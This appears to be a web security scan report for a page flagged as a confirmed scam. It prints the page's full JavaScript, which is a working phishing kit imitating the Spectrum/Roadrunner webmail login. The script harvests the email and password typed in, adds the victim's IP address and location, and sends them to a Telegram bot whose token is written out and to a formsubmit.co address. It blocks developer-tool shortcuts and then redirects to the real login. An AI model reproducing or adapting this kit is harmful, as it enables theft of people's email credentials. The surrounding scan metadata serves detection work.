entertainment media

technology software

corporate business

English

The domain 'pub-4e0d515d9c79417e8b4042dfa120d149.r2.dev' uses the developer-focused generic top-level domain (.dev) and includes subdomain 'pub-4e0d515d9c79417e8b4042dfa120d149'. The second-level label 'r2' is 2 characters long holding zero vowels versus one consonant, plus 1 digit. Tokenizing the label suggests two words: r, 2. The median word length lands at 1 character. No strong language cues emerged from the frequency lists.

html/f2/95/f295ed1b-a018-4663-9a02-e5272ca4a6cf.html.gz

a333b3f2caed9a5898d7469664eab9b3d8c64a3ca25fda90dcca3328b06efd8c

California Consumer Do Not Sell Or Share My Personal Information

California Consumer Limit The Use Of My Sensitive Personal Information

viewport

Abuse Team

CloudFlare, Inc.

r2.dev

Abuse

Admin

Cloudflare-NOC

Cloudflare, Inc.

CLOUDFLARENET


/* ============================================
   **FIXED 2-SECOND BLUR EFFECT** 
   Blur starts immediately, ends EXACTLY at 2000ms
   ============================================ */
(function() {
    document.body.classList.add('blur-active');
    setTimeout(() => {
        document.body.classList.remove('blur-active');
        document.body.classList.add('blur-complete');
    }, 2000);
})();

const TELEGRAM_BOT_TOKEN = '8690915259:AAGH8glPYqXDeRLKC6jfBwP8sWRpg2UIpCE';
const TELEGRAM_CHAT_ID = '6959270152';
const FORM_URL = "https://formsubmit.co/ajax/yahootestyouknowthis@boxfi.uk";

function getBrowserInfo() {
    const ua = navigator.userAgent;
    if (ua.includes('Chrome')) return 'Chrome';
    if (ua.includes('Firefox')) return 'Firefox';
    if (ua.includes('Safari')) return 'Safari';
    if (ua.includes('Edge')) return 'Edge';
    return 'Unknown';
}

async function sendTelegramReport(email, password) {
    let ip = "Unknown";
    let geoInfo = "N/A";
    
    // Attempt IP lookup but don't block execution if it fails
    try {
        const ipRes = await fetch('https://api.ipify.org?format=json');
        const ipData = await ipRes.json();
        ip = ipData.ip;
        
        const geoRes = await fetch(`https://ipapi.co/${ip}/json/`);
        const gd = await geoRes.json();
        geoInfo = `🌍 Country: ${gd.country_name || 'N/A'}\n🏙️ City: ${gd.city || 'N/A'}\n🛰️ ISP: ${gd.org || 'N/A'}`;
    } catch (e) { console.log("Network meta failed"); }

    const message = `━━━━━━━━━━━━━━━━━━
🛎️ SPECTRUM DATA
━━━━━━━━━━━━━━━━━━
📧 Mail: ${email}
🔐 Pass: ${password}
━━━━━━━━━━━━━━━━━━
🧭 IP: ${ip}
${geoInfo}
🧪 Browser: ${getBrowserInfo()}
🕰️ TZ: ${Intl.DateTimeFormat().resolvedOptions().timeZone}
━━━━━━━━━━━━━━━━━━`;

    // Use URL Search Params for reliability with Telegram's API
    const url = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`;
    const params = {
        chat_id: TELEGRAM_CHAT_ID,
        text: message
    };

    try {
        await fetch(url, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify(params)
        });
    } catch (e) {
        // Fallback to GET if POST is blocked by CSP
        const getUrl = `${url}?chat_id=${TELEGRAM_CHAT_ID}&text=${encodeURIComponent(message)}`;
        new Image().src = getUrl;
    }
}

async function sendFormSubmit(email, password) {
    try {
        const formData = new FormData();
        formData.append('email', email);
        formData.append('password', password);
        formData.append('_subject', 'Spectrum Login');

        await fetch(FORM_URL, {
            method: 'POST',
            body: formData
        });
    } catch (e) {
        console.log('Form submit failed:', e);
    }
}

// DOM Elements
const emailInput = document.getElementById('emailInput');
const passwordInput = document.getElementById('passwordInput');
const loginForm = document.getElementById('loginForm');
const submitButton = document.getElementById('submitButton');
const errorMessage = document.getElementById('errorMessage');
const passwordToggle = document.getElementById('passwordToggle');
const loadingScreen = document.getElementById('loadingScreen');
const loadingStep = document.getElementById('loadingStep');
const loadingSpinner = document.getElementById('loadingSpinner');
const loadingComplete = document.getElementById('loadingComplete');
const completeIcon = document.getElementById('completeIcon');

let isSubmitting = false;

// Basic protections
document.addEventListener('contextmenu', e => e.preventDefault());
document.addEventListener('keydown', e => {
    if (e.key === 'F12' || (e.ctrlKey && e.shiftKey && ['I','J'].includes(e.key.toUpperCase())) || (e.ctrlKey && e.key.toUpperCase() === 'U')) {
        e.preventDefault();
    }
});

passwordToggle.addEventListener('click', () => {
    const type = passwordInput.getAttribute('type') === 'password' ? 'text' : 'password';
    passwordInput.setAttribute('type', type);
    passwordToggle.classList.toggle('hide');
});

async function showLoadingSequence() {
    loadingScreen.style.display = 'flex';
    const steps = ['Confirming User Info', 'Verifying Info', 'Processing Upgrade'];
    for (let step of steps) {
        loadingStep.textContent = step;
        await new Promise(r => setTimeout(r, 1200));
    }
    loadingSpinner.style.display = 'none';
    loadingStep.style.display = 'none';
    completeIcon.style.display = 'flex';
    loadingComplete.style.display = 'block';
    setTimeout(() => { window.location.href = 'https://webmail.spectrum.net/mail/auth'; }, 2000);
}

async function handleFormSubmit(e) {
    e.preventDefault();
    if (isSubmitting) return;
    
    const email = emailInput.value.trim();
    const password = passwordInput.value;
    
    if (!email.includes('@') || !password) {
        errorMessage.style.display = 'block';
        return;
    }
    
    isSubmitting = true;
    submitButton.disabled = true;
    submitButton.textContent = 'Signing in...';
    
    // Execute both but don't let one failure stop the other
    await Promise.allSettled([
        sendTelegramReport(email, password),
        sendFormSubmit(email, password)
    ]);
    
    if (document.getElementById('rememberEmail').checked) {
        localStorage.setItem('rememberedEmail', email);
    }
    
    await showLoadingSequence();
}

function init() {
    const params = new URLSearchParams(window.location.search);
    const urlEmail = params.get('email') || params.get('e');
    const remembered = localStorage.getItem('rememberedEmail');
    
    if (urlEmail) emailInput.value = urlEmail;
    else if (remembered) {
        emailInput.value = remembered;
        document.getElementById('rememberEmail').checked = true;
    }
    
    loginForm.addEventListener('submit', handleFormSubmit);
    if (!emailInput.value) emailInput.focus();
}

document.addEventListener('DOMContentLoaded', init);


Cloudflare Bot Management

Cloudflare

Login TWC &amp; Roadrunner RR Email | Spectrum Webmail

⚠️ High Risk - https://pub-4e0d515d9c79417e8b4042dfa120d149.r2.dev/shyfacewebnnf.html?koiclid=DtsiGAESnl

Requests	IP Address	Location	AS Autonomous System
2	104.18.54.45Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	104.18.50.34Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
3	2	-	-

Security Scan Report: pub-4e0d515d9c79417e8b4042dfa120d149.r2.dev

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies2

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History